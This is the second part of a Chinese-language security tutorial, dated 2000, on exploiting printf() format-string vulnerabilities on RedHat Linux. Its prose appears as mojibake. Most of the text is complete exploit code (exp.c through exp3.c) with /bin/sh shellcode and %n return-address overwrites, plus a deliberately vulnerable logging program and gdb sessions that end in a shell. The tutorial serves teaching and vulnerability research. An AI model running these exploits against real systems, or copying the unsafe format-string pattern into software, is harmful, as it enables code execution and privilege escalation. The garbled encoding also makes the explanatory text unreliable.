¡ô *printf()¸ñʽ»¯´®°²È«Â©¶´·ÖÎö(ÏÂ) ×÷Õߣºwarning3 (warning3@nsfocus.com) Ö÷Ò³£ºhttp://www.nsfocus.com/ ÈÕÆÚ£º2000-8-15 ²âÊÔÆ½Ì¨£ºRedHat 6.1, RedHat 6.2 (Intel i386) £¨¼ÌÐø£© ÄÇôÈÃÎÒÃÇÀ´Ð´Ò»¸ö¼òµ¥µÄ²âÊÔ³ÌÐòÀ´¿´Ò»Ï£º <- begin -> exp.c #include #include #define DEFAULT_OFFSET 0 #define DEFAULT_ALIGNMENT 2 // ÎÒÃÇʹÓÃÁ½¸ö×Ö½ÚÀ´½øÐÐ"¶ÔÆë" #define DEFAULT_RETLOC 0xbffff6dc // ´æ·Åmain()·µ»ØµØÖ·µÄµØÖ· #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr, *egg; char *env[2]; long shell_addr,retloc=DEFAULT_RETLOC; int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; int fmt_num=4, i; if (argc > 1) sscanf(argv[1],"%x",&retloc); // ´æ·Åmain()·µ»ØµØÖ·µÄµØÖ· if (argc > 2) offset = atoi(argv[2]); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s \n",argv[0]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using Ret location address: 0x%x\n", retloc); shell_addr = get_esp() + offset; //¼ÆËãÎÒÃÇshellcodeËù´¦µÄµØÖ· printf("Using Shellcode address: 0x%x\n", shell_addr); ptr = buff; memset(buff,'A',4); i = align; buff[i] = retloc & 0x000000ff; // ½«retloc·Åµ½buffÀï buff[i+1] = (retloc & 0x0000ff00) >> 8; buff[i+2] = (retloc & 0x00ff0000) >> 16; buff[i+3] = (retloc & 0xff000000) >> 24; ptr = buff + i + 4; for(i = 0 ; i < 4 ; i++ ) //´æ·Å%.10u%.10u%.10u%.10u { memcpy(ptr, "%.10u", 5); ptr += 5; } /* ´æ·Å"%.SHELL_ADDRu%n",ΪÁËʹÏÔʾ×ܳ¤¶ÈµÈÓÚshell_addr, * ÎÒÃǼõÈ¥4¸ö%.10uµÄ³¤¶È:4*10,ÔÙ¼õÈ¥"argv[1] = xxRETloc"µÄ³¤¶È£º12+4 * ½«Õâ¸ö³¤¶È×÷ΪµÚ5¸ö%uµÄ¿í¶ÈÖµ */ sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul","vul",buff,NULL,env); } /* end of main */ <- end -> ×¢Ò⣺ÔÚÎÒÃǵijÌÐòÀÎÒÃÇʵ¼ÊʹÓõÄģʽÊÇ£º AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n Ñ¡ÓÃ%.10uµÄÔ­ÒòÊÇ£ºÈç¹ûÓÃ"%.nu"À´ÏÔʾһ¸öÊýÖµµÄʱºò£¬ÈôÊýÖµ³¤¶È´óÓÚn,ÔòÈÔÈ»»á ÏÔʾʵ¼ÊµÄ³¤¶È£¬¶ø²»»á½Ø¶ÏΪn¡£Ö»ÓÐÔÚÊýÖµ³¤¶ÈСÓÚnʱ£¬²Å»áÔÚÊýÖµÇ°Ãæ²¹'0'ʹÏÔ Ê¾³¤¶È´ïµ½n.¶øÒ»¸öËÄ×Ö½ÚµÄÎÞ·ûºÅÕûÊý£¬×î´óΪ0xffffffff = 4294967295£¬Æä³¤¶ÈÒ² ¾ÍÊÇ10,Òò´Ë£¬Ê¹ÓÃ%.10u½«±£Ö¤ÏÔʾ³¤¶ÈµÄ¾«È·(¿Ï¶¨Îª10).ÏÖÔÚΨһҪȷ¶¨µÄ¾ÍÊÇ RETloc,Ò²¾ÍÊÇmain()µÄ·µ»ØµØÖ·ÁË¡£ÕâÒ²ºÜ¼òµ¥£º [root@rh62 /root]# ./x 0x41414141 Usages: ./x Using Ret location address: 0x41414141 Using Shellcode address: 0xbffffb08 Segmentation fault (core dumped) [root@rh62 /root]# gdb ./vul core GNU gdb 19991004 <....> #0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4, format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", ap=0xbffff2e8) at vfprintf.c:1212 1212 vfprintf.c: No such file or directory. (gdb) bt #0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4, format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", ap=0xbffff2e8) at vfprintf.c:1212 #1 0x40070716 in _IO_vsnprintf ( string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023, format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n", args=0xbffff2d0) at vsnprintf.c:129 #2 0x80484de in log (level=1, fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n") at vul.c:13 #3 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33 (gdb) i f 3 -----> ²é¿´main()µÄÕ»Ö¡ Stack frame at 0xbffff6d8: eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb caller of frame at 0xbffff2c0 source language c. Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724 Locals at 0xbffff6d8, Previous frame's sp is 0x0 Saved registers: ebp at 0xbffff6d8, eip at 0xbffff6dc ----> OK,´æ·ÅeipµÄµØÖ·ÊÇ0xbffff6dc (gdb) ºÃµÄ£¬¼ÈÈ»ÏÖÔÚÎÒÃÇÒѾ­ÖªµÀÁËRETlocµÄµØÖ·£¬¾ÍÈÃÎÒÃÇÔËÐÐÒ»ÏÂÎÒÃǵĹ¥»÷³ÌÐò¿´¿´°É£º [root@rh62 /root]# ./x 0xbffff6dc Usages: ./x Using Ret location address: 0xbffff6dc Using Shellcode address: 0xbffffb08 argv[1] = AAÜöÿ?.10u%.10u%.10u%.10u%.3221224144u%n Segmentation fault (core dumped) [root@rh62 /root]# gdb ./vul core <....> #0 0x42 in ?? () (gdb) bt #0 0x42 in ?? () (gdb) x/x 0xbffff6dc 0xbffff6dc: 0x00000042 (gdb) ºÜ¿Éϧ£¬²¢Ã»Óп´µ½ÁîÈ˼¤¶¯µÄ#ºÅÌáʾ·û¡£¿´ÆðÀ´0xbffffb08µÄ³¤¶È²»Äܱ»ÕýÈ·µÄ´òÓ¡³öÀ´£¬ ¸ù¾Ý²âÊÔ£¬ÖÁÉÙ´óÓÚ0x90000000µÄ³¤¶È¶¼²»ÄÜÕýÈ·ÏÔʾ£¬¾ßÌåÔ­Òò»¹ÓдýÑо¿¡£¸ÐÐËȤµÄ¶ÁÕß ¿ÉÒÔ×ÔÐзÖÎöһϡ£ÎªÁ˵õ½Ò»¸ö¿ÉÒÔ¹¤×÷µÄ°æ±¾£¬ÎÒÃǸĶ¯Ò»ÏÂvul.cºÍexp.c: <- begin -> vul1.c #include #include #include #define BUFSIZE 1024 char egg[BUFSIZE]; int log(int level, char *fmt,...) { char buf[BUFSIZE]; va_list ap; va_start(ap, fmt); vsnprintf(buf, sizeof(buf)-1, fmt, ap); buf[BUFSIZE-1] = '\0'; syslog(level, "[hmm]: %s", buf); va_end(ap); } int main(int argc, char **argv) { char buf[BUFSIZE]; int i,num; if(getenv("EGG")) { /* ÎÒÃǽ«»·¾³EGGµÄÄÚÈݸ´ÖƵ½Ò»¸öÈ«¾ÖbufferÀ * ¶øÕâ¸öbufferµÄÆðʼµØÖ·ÊÇ0x80xxxxx,Ëü¿ÉÒÔ±»ÕýÈ·ÏÔʾ */ strncpy(egg, getenv("EGG"), BUFSIZE-1); egg[BUFSIZE-1] = '\0'; } num = argc ; if(argc > 1) { for ( i = 1 ; i < num ; i ++ ) { snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]); buf[BUFSIZE-1] = '\0'; log(LOG_ALERT, buf); // ÕâÀïÓÐÎÊÌâ printf("argv[%d] = %s \n", i, argv[i]); } } } <- end -> <- begin -> exp1.c #include #include #define DEFAULT_ALIGNMENT 2 #define DEFAULT_RETLOC 0xbffffadc #define DEFAULT_SHELLADDR 0x8049800 //ÎÒÃǵÄshellcodeµØÖ·ÔÚHeap/BSS¶Î #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 1024 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr, *egg; char *env[2]; long retloc = DEFAULT_RETLOC; long shell_addr = DEFAULT_SHELLADDR; int align = DEFAULT_ALIGNMENT; int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE; int i; if (argc > 1) sscanf(argv[1],"%x",&retloc); if (argc > 2) sscanf(argv[2],"%x",&shell_addr); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s \n",argv[0]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using RET location address: %#x\n", retloc); printf("Using Shellcode address: %#x\n", shell_addr); ptr = buff; memset(buff,'A',4); i = align; buff[i] = retloc & 0x000000ff; buff[i+1] = (retloc & 0x0000ff00) >> 8; buff[i+2] = (retloc & 0x00ff0000) >> 16; buff[i+3] = (retloc & 0xff000000) >> 24; ptr = buff + i + 4; for(i = 0 ; i < 4 ; i++ ) { memcpy(ptr, "%.10u", 5); ptr += 5; } sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul1","vul1",buff,NULL,env); } /* end of main */ <- end -> ÕâÀïΨһ¸Ä±äµÄ¾ÍÊÇshellcodeµÄµØÖ·Ö¸ÏòÁËHeap/BSSÇø£¬Ëüͨ³£ÔÚÄÚ´æÇøÓòµÄµÍ¶Ë£º 0x8000000ÒÔºóµÄµØÖ·,Õâ¸öµØÖ·½«¿ÉÒÔ±»ÕýÈ·ÏÔʾ£¬Òò´Ë¾Í¿ÉÒÔÕýÈ·µÄ¸²¸Çmain()µÄ ·µ»ØµØÖ·£¬²¢Ìøµ½ÄÇÀïÈ¥Ö´ÐÐÎÒÃǵÄshellcode.Õâ¸öµØÖ·µÄ»ñÈ¡£¬Ò²¿ÉÒÔͨ¹ýgdb¸ú×Ù µÃµ½£¬ÕâÀï²»ÔÙ׸Êö¡£ [root@rh62 /root]# ./exp1 0xbffffadc 0x8049800 Usages: ./exp1 Using RET location address: 0xbffffadc Using Shellcode address: 0x8049800 argv[1] = AAÜúÿ?.10u%.10u%.10u%.10u%.134518728u%n bash# ºÜºÃ£¬³É¹¦ÁË£¡×¢ÒâÔڵõ½#ºÅÌáʾ·ûǰ£¬Í¨³£ÐèÒªµÈ´ý¼¸ÃëÖÓ£¬ÕâÊÇÒòΪÏÔʾ0x8049800 ¸ö×Ö·ûÒ²ÊÇÆÄÐèÒªÒ»¶Îʱ¼äµÄ.(µ±È»£¬½á¹û²¢Ã»ÓÐÏÔʾÔÚ±ê×¼Êä³öÉÏ) :-) <2> ¹¥»÷·½·¨¶þ£º¶à´Î¸²¸Ç·µ»ØµØÖ·(1) ==================================== ÉÏÃæµÄ³ÌÐòÖ»ÄÜÔÚRedHat 6.2ÕâÑùµÄϵͳÉϳɹ¦£¬ÔÚRedHat 6.1ÏÂËüÊDz»Äܳɹ¦µÄ¡£Ô­Òò Ç°ÃæÒѾ­Ìáµ½ÁË¡£ÄÇôÊDz»ÊÇÔÚRedHat 6.1ϾÍûÓа취ÁËÄØ£¿²¢²»ÊÇÕâÑùµÄ£¬Ö»ÒªÎÒÃǶ¯ Ò»ÏÂÄԽ¾Í»á·¢ÏÖÓÉÓÚÕâ¸öÎÊÌâ³ÌÐò×ÔÉíµÄÌØµã¬ÎÒÃÇÔÚRedHat 6.1ÏÂÒ²¿ÉÒԳɹ¦µÄ½øÐÐ ¹¥»÷¡£ÎÒÃÇ¿´µ½ÎÊÌâ³ÌÐòvul.c»áÏÔʾ²¢¼Ç¼ËùÓÐÓû§ÊäÈëµÄ²ÎÊý£¬¶øÖÆÔ¼ÎÒÃǵĹ¥»÷³ÌÐòµÄ ÒòËØ¾ÍÊÇÏÔʾµÄ³¤¶È£¬ÄÇôÈç¹ûÎÒÃDz»ÏÔʾÄÇô³¤µÄÄÚÈÝ£¬vsnprintf()ÊÇ¿ÉÒÔÕý³£¹¤×÷µÄ£º AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n ÎÒÃÇÊ×ÏÈÏëµ½µÄʱºòÈçºÎ¼õСshell_addrµÄÖµ¡£Èç¹ûÎÒÃǽ«Ò»¸öshell_addr·Ö³ÉËIJ¿·Ö£º shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4 ÀýÈ磬¼ÙÉèÔÚRETlocÕâ¸öµØÖ·Öб£´æÓзµ»ØµØÖ·0x44332211,ÎÒÃÇÏ뽫Õâ¸ö0x44332211»»³É ´æ·ÅshellcodeµÄµØÖ·£º0xbffffcec,ÄÇôÎÒÃÇËù¶ÔÓ¦µÄSH1,SH2,SH3,SH4¾Í·Ö±ðÊÇ£º SH1 = 0xbf SH2 = 0xff SH3 = 0xfc SH4 = 0xec ÎÒÃÇËùÒª×öµÄ¾ÍÊÇÒÀ´Î½«ÕâËĸöµØÖ·´æÈëRETloc,RETloc+1,RETloc+2,RETloc+3ÖÐÈ¥£¬Ò²¾ÍÊÇ£º AA|RETloc |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n ×¢Ò⣺ÎÒÃÇ¿¼ÂǵÄÊÇIntel x86µÄϵͳ£¬Òò´Ë£¬ÅÅÁÐ˳ÐòÊÇ·´ÐòµÄ ÏÂͼ¿ÉÒÔÈÃÄã¸üÇå³þµÄ¿´µ½Ã¿Ò»´Î¸²¸ÇºóµÄ±ä»¯£º RETloc RETloc+1 RETloc+2 RETloc+3 |0x11 | 0x22 | 0x33 |0x44| Ô­À´´æ·ÅµÄµØÖ·: 0x44332211 |0xec | 0x00 | 0x00 |0x00| µÚÒ»´Î¸²¸ÇSH4: 0x000000ec |0xec | 0xfc | 0x00 |0x00| 0x00| µÚ¶þ´Î¸²¸ÇSH3: 0x0000fcec |0xec | 0xfc | 0xff |0x00| 0x00| 0x00| µÚÈý´Î¸²¸ÇSH2: 0x00fffcec |0xec | 0xfc | 0xff |0xbf| 0x00| 0x00| 0x00| µÚËĴθ²¸ÇSH1: 0xbffffcec ÐèÒªÌØ±ð×¢ÒâµÄÊÇ£ºÕâÑùËĴθ²¸ÇÖ®ºó£¬½«µ¼ÖÂÔ­À´´æ·Åº¯Êý²ÎÊýµÄµØÖ·ÄÚÈݱ»ÇåÁ㣬 ÀýÈçRETloc+4,RETloc+5,RETloc+6µÈ´¦£¬Èç¹û¸Ãº¯ÊýÔÚ¸²¸ÇÒÔºóÈÔÈ»ÐèÒª·ÃÎÊÕ⼸¸ö²Î Êý£¬¿ÉÄܻᵼÖº¯Êý²»ÄÜÕý³£Í˳ö£¬ÌرðÊÇһЩ¼«¶ËÒÀÀµº¯Êý²ÎÊýµÄÇé¿öÏ¡£ ÁíÍâÒ»¸öÎÊÌâÊdzÌÐòÊÇ·ñÔÊÐíÄãÁ¬ÐøËĴνøÐи²¸Ç£¬Èç¹ûÖ»Äܸ²¸ÇÒ»´Î£¬Ò²²»ÄÜ´ïµ½ÎÒÃÇ µÄÄ¿µÄ£¬²»¹ýÎÒÃÇ¿´µ½ÎÒÃǵÄÎÊÌâ³ÌÐòÊÇ»áÑ­»·´Ómain()µÄ²ÎÊýÖжÁÈ¡²¢µ÷ÓÃlog()×Óº¯Êý £¬ÄÇôÎÒÃÇÖ»ÒªÌṩËĸöÃüÁîÐвÎÊý¾Í¿ÉÒÔ½øÐÐËĴθ²¸ÇÁË¡£ <- begin -> exp2.c #include #include #define DEFAULT_OFFSET 500 #define DEFAULT_ALIGNMENT 2 #define DEFAULT_RETLOC 0xbffffa6c #define DEFAULT_BUFFER_SIZE 128 #define DEFAULT_EGG_SIZE 1024 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff[4], *ptr, *egg; char *env[2]; long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr; int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; int i,j; if (argc > 1) sscanf(argv[1],"%x",&retloc); /* ÊäÈëRETloc */ if (argc > 2) offset = atoi(argv[2]); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s \n",argv[0]); for(i = 0 ; i < 4 ; i++ ) { if (!(buff[i] = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using RET location address: 0x%x\n", retloc); shell_addr = get_esp() + offset; /* ¼ÆËãshellcocdeËùÔڵĵØÖ· */ printf("Using Shellcode address: 0x%x\n", shell_addr); for(j = 0; j < 4 ; j++) { ptr = buff[j]; memset(ptr,'A',4); ptr += align; (*ptr++) = retloc & 0x000000ff; /* Ìî³äretloc */ (*ptr++) = (retloc & 0x0000ff00) >> 8; (*ptr++) = (retloc & 0x00ff0000) >> 16; (*ptr++) = (retloc & 0xff000000) >> 24; retloc++; /* retlocµØÖ·ºóÒÆÒ»¸ö×Ö½Ú£¬ÒÔ±ã½øÐÐÏÂÒ»´Î¸²¸Ç */ for(i = 0 ; i < 4 ; i++ ) { memcpy(ptr, "%.10u", 5); /* ÊäÈë¸ñʽ´®£¬µ÷Õû%nËù¶ÔÓ¦µÄλÖà */ ptr += 5; } tmpaddr = (shell_addr >> j*8 ) & 0xff; /* ¼ÆËãSHj */ if(tmpaddr > 56 ) /* ¼ÆËã×îºóÒ»¸ö%nuÖеÄnÖµ */ sprintf(ptr, "%%.%uu%%n", tmpaddr - 56); else sprintf(ptr, "%%.%uu%%n", 1); } ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env); } /* end of main */ <- end -> [root@rh62 /root]# ./exp2 Usages: ./exp2 Using RET location address: 0xbffffa6c Using Shellcode address: 0xbffffcec argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n bash# ×¢ÒâÎÒÃÇÉÏÃæµÄexp2.cÖÐÔÚ¼ÆËã×îºóÒ»¸ö%.nuʱ´æÔÚһЩÎÊÌ⣬Èç¹û 0 < (tmpaddr - 56) < 10 ,ÄÇô%.(tmpaddr-56)u ËùÏÔʾµÄ³¤¶È¿ÉÄܲ»µÈÓÚ(tmpaddr-56) ,ͬÑùÈç¹ûtmpaddr <= 56 ,ÄÇôÎÒÃǵÄshellcodeµÄµØÖ·¾Í»áÓÐÆ«²î£¬ÐÒÔ˵ÄÊÇ£¬ÓÉÓÚÎÒÃÇ µÄshellcodeÊÇ´æ·ÅÔÚ»·¾³±äÁ¿ÖУ¬Ëüͨ³£ÔÚ¶ÑÕ»µÄ¸ß¶Ë£¬µØÖ·Í¨³£ÊÇ0xbffff???,Ö»ÓеØÖ· µÄ×îµÍÒ»¸ö×ֽڲſÉÄܳöÏÖÉÏÃæËù½²µÄÁ½ÖÖÇé¿ö£¬¶øÈç¹ûÎÒÃǵÄshellcodeÇ°ÃæÌî³äÁËһЩ NOPÖ¸ÁîµÄ»°£¬ÄÇôÎÒÃǵÄshellcodeµØÖ·¾ÍÓÐÒ»¸ö·¶Î§£¬Ö»ÒªÂäÔÚÕâ¸ö·¶Î§ÄÚ£¬¶¼¿ÉÒÔÖ´ÐÐ ÎÒÃǵÄshellcode,Òò´ËÖ»ÒªÎÒÃÇÔÚÕâÒ»¶ÎµØÖ·ÄÚÑ¡ÔñÒ»¸öÓÐЧµÄµØÖ·¾Í¿ÉÒÔÁË¡£ Õâ¸ö³ÌÐòÔÚRedHat 6.1ºÍRedHat 6.2϶¼Ñé֤ͨ¹ý¡£ <3> ¹¥»÷·½·¨Èý£º¶à´Î¸²¸Ç·µ»ØµØÖ·(2) ====================================== ÓжÁÕß¿ÉÄÜ»á˵£¬Õâ¸ö³ÌÐòµÄ³É¹¦ÒÀÀµÓÚÎÒÃÇ¿ÉÒÔÁ¬Ðø½øÐÐËĴθ²¸Ç¡£Èç¹ûÖ»¸øÎÒÃÇÒ»´Î »ú»á£¬ÊDz»ÊǾͲ»ÐÐÁËÄØ?Æäʵ£¬»¹ÓÐÒ»ÖÖ·½·¨¿ÉÒÔÍê³ÉÎÒÃǵÄÈÎÎñ¡£»ù±¾Ë¼Â·Ò²ÊÇ·ÖËÄ´Î À´¸²¸Ç£¬Ö»²»¹ýͨ¹ýÒ»¸ö*printf()¾Í¿ÉÒÔÍê³ÉÁË£¬¿¼ÂÇÏÂÁÐÕâÖÖÇé¿ö£º |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n ^ ^ ^ ^ | | | | | | | |_________________|______|______|______| | | |__________________________|______|______| | |___________________________________|______| |____________________________________________| ÎÒÃÇʹÓÃËĸö%n,ËüÃÇ»áÒÀ´Î½«4¸öÏÔʾ³¤¶È±£´æµ½¶ÔÓ¦µÄµØÖ·È¥¡£ÎÒÃÇÈç¹ûµ÷Õû%cµÄ¸öÊý£¬ ʹµÚÒ»¸ö%n¶ÔÓ¦RET1£¬µÚ¶þ¸ö%n¶ÔÓ¦RET2£¬µÚÈý¸ö%n¶ÔÓ¦RET3£¬µÚËĸö%n¶ÔÓ¦RET4,ÄÇôÎÒ ÃǾͳɹ¦ÁËÒ»°ëÁË¡£µ±È»ÎÒÃÇÒªÈÃ: RET1 = RETloc RET2 = RETloc + 1 RET3 = RETloc + 2 RET4 = RETloc + 3 n1 = SH4 - 1*4 - 12 - 4 - 8*3 (1*4ÊÇ4¸ö%cÏÔʾµÄ³¤¶È£¬12ÊÇ"AA"ÔÙ¼ÓÉÏÇ°ÃæµÄ"argv[.."µÄ³¤¶È£¬4ÊÇRET1³¤¶È,8*3ÊǺó ÃæÈý×é"AAAARET"µÄ³¤¶È) n2 = SH3 - SH4 n3 = SH2 - SH3 n4 = SH1 - SH2 ÕâÑù£¬ÔÚÅöµ½µÚÒ»¸ö%nʱ£¬ÏÔʾ×ܳ¤¶È¾ÍÊÇSH4,Åöµ½µÚ¶þ¸ö%nʱ£¬ÏÔʾ×ܳ¤¶È¾ÍÊÇ SH3,ÒÀ ´ËÀàÍÆ¡£ ×¢Ò⣺ÓÉÓÚSH1ͨ³£µÈÓÚ0xbf(Èç¹ûÊÇÔÚ¶ÑÕ»Öеϰ)£¬¶øSH2ͨ³£µÈÓÚ0xff,SH10,ÏÔʾ³¤¶È×ÜÊǾ«È·µÄµÈÓÚn,Õâ¾ÍΪÎÒÃǵļÆËã´øÀ´Á˺ܴóµÄ·½ ±ã¡£(×¢Òâ²»ÄÜʹÓÃ%.ncµÄ¸ñʽ£¬Õâ²»Æð×÷ÓÃ) ²»¹ý%nc»áʹÓÿոñÀ´Ìî³ä¿Õ°×²¿·Ö£¬Èç¹û Ó¦ÓóÌÐò½«¿Õ¸ñ×÷Ϊ·Ö¸ô·ûÀ´½âÊÍʱ£¬¿ÉÄÜ»á³öÎÊÌâ¡£ <- begin -> exp3.c #include #include #define DEFAULT_OFFSET 550 #define DEFAULT_ALIGNMENT 2 #define DEFAULT_RETLOC 0xbffffabc #define DEFAULT_BUFFER_SIZE 128 #define DEFAULT_EGG_SIZE 1024 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr, *egg; char *env[2]; long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr; int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT; int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE; int i,SH1,SH2,SH3,SH4,oldSH4; if (argc > 1) sscanf(argv[1],"%x",&retloc); /* ÊäÈëRETloc */ if (argc > 2) offset = atoi(argv[2]); if (argc > 3) align = atoi(argv[3]); if (argc > 4) bsize = atoi(argv[4]); if (argc > 5) eggsize = atoi(argv[5]); printf("Usages: %s \n",argv[0]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } printf("Using RET location address: 0x%x\n", retloc); shell_addr = get_esp() + offset; /* ¼ÆËãshellcocdeËùÔڵĵØÖ· */ printf("Using Shellcode address: 0x%x\n", shell_addr); SH1 = (shell_addr >> 24) & 0xff; SH2 = (shell_addr >> 16) & 0xff; SH3 = (shell_addr >> 8) & 0xff; SH4 = (shell_addr >> 0) & 0xff; /* Èç¹ûSH4СÓÚ44,ÎÒÃǾÍÔö´óËüµÄÖµ£¬ÈÃËüµÈÓÚ44 + 1,ÒÔÃâ³öÏÖ¸ºÖµ */ if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) { oldSH4 = SH4; SH4 = 4 + 12 + 4 + 8*3 + 1; printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4); } ptr = buff; for (i = 0; i <4 ; i++, retloc++ ){ memset(ptr,'A',4); ptr += 4 ; (*ptr++) = retloc & 0xff; /* Ìî³äretloc+n (n= 0,1,2,3) */ (*ptr++) = (retloc >> 8 ) & 0xff ; (*ptr++) = (retloc >> 16 ) & 0xff ; (*ptr++) = (retloc >> 24 ) & 0xff ; } for(i = 0 ; i < 4 ; i++ ) { memcpy(ptr, "%c", 2); /* ÊäÈë¸ñʽ´®£¬µ÷Õû%nËù¶ÔÓ¦µÄλÖà */ ptr += 2; } /* "ÊäÈë"ÎÒÃǵÄshellcodeµØÖ· */ sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3), (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) ); ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[eggsize - 1] = '\0'; memcpy(egg, "EGG=", 4); env[0] = egg ; env[1] = (char *)0 ; execle("./vul","vul",buff + align, NULL,env); } /* end of main */ <- end -> Ñé֤һϣº [warning3@rh62 format]$ ./exp3 Usages: ./exp3 Using RET location address: 0xbffffabc Using Shellcode address: 0xbffffcfa argv[1] = AA¼úÿ¿AAAA½úÿ¿AAAA¾úÿ¿AAAA¿úÿ?c%c%c%c%206c%n%2c%n%3c%n%192c%n bash$ id uid=500(warning3) gid=500(warning3) groups=500(warning3) 